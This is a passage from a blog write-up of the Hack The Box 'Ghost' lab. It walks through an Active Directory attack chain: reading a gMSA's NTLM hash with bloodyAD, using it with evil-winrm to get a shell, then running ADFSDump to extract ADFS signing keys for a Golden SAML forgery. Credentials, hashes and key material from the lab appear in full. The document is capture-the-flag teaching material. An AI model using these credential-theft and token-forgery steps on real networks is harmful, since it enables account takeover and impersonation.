        <span class="nt">&lt;ds:Reference</span> <span class="na">URI=</span><span class="s">"#_03002929-93dd-4b76-8c52-822441c806f8"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;ds:Transforms&gt;</span>
            <span class="nt">&lt;ds:Transform</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2000/09/xmldsig#enveloped-signature"</span><span class="nt">/&gt;</span>
            <span class="nt">&lt;ds:Transform</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/10/xml-exc-c14n#"</span><span class="nt">/&gt;</span>
          <span class="nt">&lt;/ds:Transforms&gt;</span>
          <span class="nt">&lt;ds:DigestMethod</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/04/xmlenc#sha256"</span><span class="nt">/&gt;</span>
          <span class="nt">&lt;ds:DigestValue&gt;</span>lp5ogGrzEUFjaHAfsnjjHuPrV4uoanPDq3LEZZSQKuc=<span class="nt">&lt;/ds:DigestValue&gt;</span>
        <span class="nt">&lt;/ds:Reference&gt;</span>
      <span class="nt">&lt;/ds:SignedInfo&gt;</span>
      <span class="nt">&lt;ds:SignatureValue&gt;</span>hMdbtM97j5WL6cskPj+S8J7jDYyacbKHP7xee/Ba4IpqQChyv97UylP83IKFW5gMQRlDbZFH7NTzKQx04VdHQbIR2xHpJ81rNY3SKJS/GsakrPioD5Ou4swSzl5zmJbO7tNc7icpff8eOhvVkE5DbvPZLrUxV28hEz4zWPbGdAJabkAQJda6rwq+HLhwGPTW9om6wVL1+yJ6IetZ2lkyNIpjjDmeJKqaw5/3LGQLgWnCPra0spAoTfyWMdDcg6XHCYEOpguViqoxBpCayLEHM6dOoJS1IEgjRzf9/gbAXwG8Z2A+SAbLZHcI4rNLtKNmrNKIHBfbiRcz9WrZ7f01H/6Yy4MfTWhpxyrds5ZO9XvtLfnMEuWlzUuadqZBYmWltJk1Fp1orodxdupzVeCMKIWltlPjIlKoox3WXBY17F0/meGgIuu6DwMdtkkcdp8EiYIuSLgny45gq79JcXGgSWW/5y0PomJYb2a4xNF3Ib3jXtcpx0IfsHBpHVHIpQa5AKUAC1g4jjt4gVenVuDq9QlzuUiMajm/xl9E+4WnU+8WeK4n6fxYSkDpE5/8x1Yn+1Rxxvr2C+SggzSOa1d7LItbkU6RuGlbsNBgJWNTMWd2g6Sq6DXX+qSaelQ9850AO5qy27+QTCywyK0vx2eIcXC+UdG6WD4BsbmVWV2cycQ=<span class="nt">&lt;/ds:SignatureValue&gt;</span>
      <span class="nt">&lt;KeyInfo</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/09/xmldsig#"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;ds:X509Data&gt;</span>
          <span class="nt">&lt;ds:X509Certificate&gt;</span>MIIE5jCCAs6gAwIBAgIQJFcWwMybRa5O4+WO5tWoGTANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDEyNBREZTIFNpZ25pbmcgLSBmZWRlcmF0aW9uLmdob3N0Lmh0YjAgFw0yNDA2MTgxNjE3MTBaGA8yMTA0MDUzMDE2MTcxMFowLjEsMCoGA1UEAxMjQURGUyBTaWduaW5nIC0gZmVkZXJhdGlvbi5naG9zdC5odGIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC+AAOIfEqtlYcn153L1BvGQgDyXTnYwTRzsK59+zE1zgGKO9N5nb8Fk+daKpWLQaiH7oDHaenw/QaxBg5qdeDYmD3oz8KyaA1ygYBrzm4wW7Ff87rK9Fe5J5/h6W9g749h5BIqPQOp0l6s1rfumOccN4ybW95EWNL0vuQXvC+KQ4D4gMXu8mCGpxtvIL8ilNtJuIG3ORYSKhRal0yyJeOhG4xglrZJF18p9whnE6omggmA6n2shDk/tvTYjii5e7/icWTKkrsMCpaKUNk7mxdMZhQab7SmfKrZN4pRD7dVg5zzIyD7UzS9CHLC6xNzq/Z0huaOaJhOSdJSgat/bsG8nbx19HD/+ypW9J2LtNFugdWtmUBWDOQBYVhB8Sg4VEGgP9jyItHH2bzsDfjRdJ8E1uNJWP/kQA1+wYlOddLqU3b0IsCvlA8EvYW0T1Rsu77o4x/w0gWb0oQPEIz7z973b496wqQt3DnyfeO3lXXfZNcvaj5KCP2TtGB+KshF9pkIPxq7F2gMh7QjxjRHsA29V8jFo9gLD7kPVicaIUdsgiFHnYQF14a52JtR1V5iN+h95JkuuEqQWDBHAvPEBBZkEZH+5yT+aCFXXX+BpPt3QGjYLeJU8CFsMtn8QVLYvLdcVRsUnRh/WHiXwJOOEVECa9w7/yVnhalCNBx1E/l4KQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAWYKZW3cDCBO6dT3yfl3Ocuyp1LVKVI+9pFx/bbWpWjSdh6b39LTxxD7FYUthuWPZ3rF4G+FdMFHHCx3YpEmUFnELKsXqhZ989AX58I/3mbfUlKWeIPLSLkp+eRZoMJkt7k1/KXtDasOQn0NsgYEowLBImMCMu9uujnCmFOwHP/IBhgYQMHh46BzSXWP3i8VXbrRtDpo/c//OFJhGmnnF8ZPmi4xtzfSDBpVKqwVLp78CguMxjQd+bdUb45588ZJ4CLsPdRQp30WJ1/CNIaenvJWtA2G5IZw5U0EWCJLoYJWFs9iyOa1/y55ruW6J8lIGD0wmoEeCl9CH1Ed4dzUdUXf1MBCYP3X92iaxzUE0upGd/1Qo6HTyyOlWuAwrkT2VHELKVZKOg8+dly97gyZIfUtQwIkPwNl8vo04cfj+hzOvBzPKAAYh14NLgveAI/DqMnO0OKO+w1HBKw64NBCn8goazF+PuFfUO0yNHFL4kxMpcap6iev6g3BXCSDwfqTUOEuEs7q9oYKgq2qnNVOTIhhInMXBzEm6iP13jfuOoXJdPAnEUXn4y5ywA97rtbGnZEPyx1f1EkX/hbqBP4vogv9kltaUEEVXkS+hPpxZmexCNrBD1q7GJ/50ebYlC0Cev8w6Ms8tM0OrvppGYlWrtPwevEvfiRkwBLG7EMAnLSw==<span class="nt">&lt;/ds:X509Certificate&gt;</span>
        <span class="nt">&lt;/ds:X509Data&gt;</span>
      <span class="nt">&lt;/KeyInfo&gt;</span>
    <span class="nt">&lt;/ds:Signature&gt;</span>
    <span class="nt">&lt;Subject&gt;</span>
      <span class="nt">&lt;SubjectConfirmation</span> <span class="na">Method=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:cm:bearer"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;SubjectConfirmationData</span> <span class="na">InResponseTo=</span><span class="s">"_48451e698d43e3c56a3ff258dc7c494616607987"</span> <span class="na">NotOnOrAfter=</span><span class="s">"2025-05-21T13:49:50.893Z"</span> <span class="na">Recipient=</span><span class="s">"https://core.ghost.htb:8443/adfs/saml/postResponse"</span><span class="nt">/&gt;</span>
      <span class="nt">&lt;/SubjectConfirmation&gt;</span>
    <span class="nt">&lt;/Subject&gt;</span>
    <span class="nt">&lt;Conditions</span> <span class="na">NotBefore=</span><span class="s">"2025-05-21T13:44:50.799Z"</span> <span class="na">NotOnOrAfter=</span><span class="s">"2025-05-21T14:44:50.799Z"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;AudienceRestriction&gt;</span>
        <span class="nt">&lt;Audience&gt;</span>https://core.ghost.htb:8443<span class="nt">&lt;/Audience&gt;</span>
      <span class="nt">&lt;/AudienceRestriction&gt;</span>
    <span class="nt">&lt;/Conditions&gt;</span>
    <span class="nt">&lt;AttributeStatement&gt;</span>
      <span class="nt">&lt;Attribute</span> <span class="na">Name=</span><span class="s">"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;AttributeValue&gt;</span>justin.bradley@ghost.htb<span class="nt">&lt;/AttributeValue&gt;</span>
      <span class="nt">&lt;/Attribute&gt;</span>
      <span class="nt">&lt;Attribute</span> <span class="na">Name=</span><span class="s">"http://schemas.xmlsoap.org/claims/CommonName"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;AttributeValue&gt;</span>justin.bradley<span class="nt">&lt;/AttributeValue&gt;</span>
      <span class="nt">&lt;/Attribute&gt;</span>
    <span class="nt">&lt;/AttributeStatement&gt;</span>
    <span class="nt">&lt;AuthnStatement</span> <span class="na">AuthnInstant=</span><span class="s">"2025-05-21T13:44:32.525Z"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;AuthnContext&gt;</span>
        <span class="nt">&lt;AuthnContextClassRef&gt;</span>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<span class="nt">&lt;/AuthnContextClassRef&gt;</span>
      <span class="nt">&lt;/AuthnContext&gt;</span>
    <span class="nt">&lt;/AuthnStatement&gt;</span>
  <span class="nt">&lt;/Assertion&gt;</span>
<span class="nt">&lt;/samlp:Response&gt;</span>
</code></pre></div></div>

<h6 id="6-and-7---sp-validation-and-authorization"><u>6 and 7 - SP Validation and Authorization</u></h6>

<p>The SAML response is then forwarded to Ghost Core for validation. Here, the application successfully identifies me as <code class="language-plaintext highlighter-rouge">justin.bradley</code>, but rejects my authorization request since I’m not the admin. As a result, it redirects me to the unauthorized page seen above.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_saml_auth.png?raw=true" alt="" /></p>

<p>In this implementation, Ghost Core does not need to handle authentication directly. Instead, it simply inspects the SAML response — like verifying a person’s ID card — and decides whether to grant access to the application.</p>

<p>The SAML response is digitally signed, making it secure and tamper-resistant under normal circumstances. However, Justin has <code class="language-plaintext highlighter-rouge">ReadGMSAPassword</code> on ADFS’ service account, which can potentially be leveraged to extract the signing key and forge an admin SAML response.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/bh_justin_readgmsa.png?raw=true" alt="" /></p>

<h3 id="dacl-abuse---readgmsapassword">DACL Abuse - <code class="language-plaintext highlighter-rouge">ReadGMSAPassword</code>:</h3>

<p>According to <a href="https://bloodhound.specterops.io/resources/edges/read-gmsa-password">BloodHound</a>:</p>

<blockquote>
  <p>This privilege allows you to read the password for a Group Managed Service Account (GMSA). Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval.</p>
</blockquote>

<p>As shown in <a href="https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword">this page</a>, I can use <code class="language-plaintext highlighter-rouge">bloodyAD</code> to read the account’s <code class="language-plaintext highlighter-rouge">msDS-ManagedPassword</code> attribute, which contains its NTLM hash.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">bloodyAD --host dc01.ghost.htb -d ghost.htb -u 'justin.bradley' -p 'Qwertyuiop1234$$' get object 'ADFS_GMSA$' --attr msDS-ManagedPassword</span>
<span class="cmd-output">
distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:abf1d5a64837f8722b61e93a292d09dd
msDS-ManagedPassword.B64ENCODED: UzggNwoF2V3JR3hxgyXr7hMtsz+vPrdN4e6j32YaknjyQRIO/tl9QbpM7NDMXTwZ/lOoEZbzqZj4147uTuu+CKvwmTQOcfpshJxcPJeAQrG72hB9I4DtDDPaeiixcGaiH7BDld0xXxK++2Z5+lBbi9PnhaTSLXX7Uq4gHY6PDzzuFB1QLpyhBRo4SHskKJKX824R0NZK9szIfTvaFnWLsIUe4F4dhMOaA0UCugirlspWp2vi+ePNhgRy+Ly2/lHIThu3nOVWYnA2xXYRp85sy3uP0EHeTbs6pLNnd2NLOf8c7qTu+4MKik5+8B7OwMnamCejwuO1P5bx8OIhdYUq6A==
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Conveniently, the account has access to WinRM, and I can use the hash directly to get a shell via <code class="language-plaintext highlighter-rouge">evil-winrm</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">evil-winrm -u 'ADFS_GMSA$' -H abf1d5a64837f8722b61e93a292d09dd -i ghost.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">ghost\adfs_gmsa$</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="golden-saml-attack">Golden SAML Attack:</h3>

<p>The act of forging SAML responses and impersonating other users is known as a <a href="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps">Golden SAML attack</a>. The name resembles another well known attack called Golden Ticket, which targets Kerberos authentication within a domain. Both attacks are similar in nature, but Golden SAML is more flexible and stealthy, as the forging can happen anywhere and not limited to within the domain.</p>

<p><a href="https://www.netwrix.com/golden_saml_attack.html">This post</a> has a comprehensive walkthrough of the attack. I’ll first use <a href="https://github.com/mandiant/ADFSDump">ADFSDump</a> to dump out a whole bunch of data:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC01</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">upload ADFSDump.exe</span>

<span class="win-output">Info: Uploading /home/ch3ng/machines/ghost/ADFSDump.exe to C:\Users\adfs_gmsa$\Documents\ADFSDump.exe
                                        
Data: 40276 bytes of 40276 bytes copied
                                        
Info: Upload successful!</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\ADFSDump.exe</span>

<span class="win-output">&amp;nbsp;
    ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec


## Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7


[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1


## Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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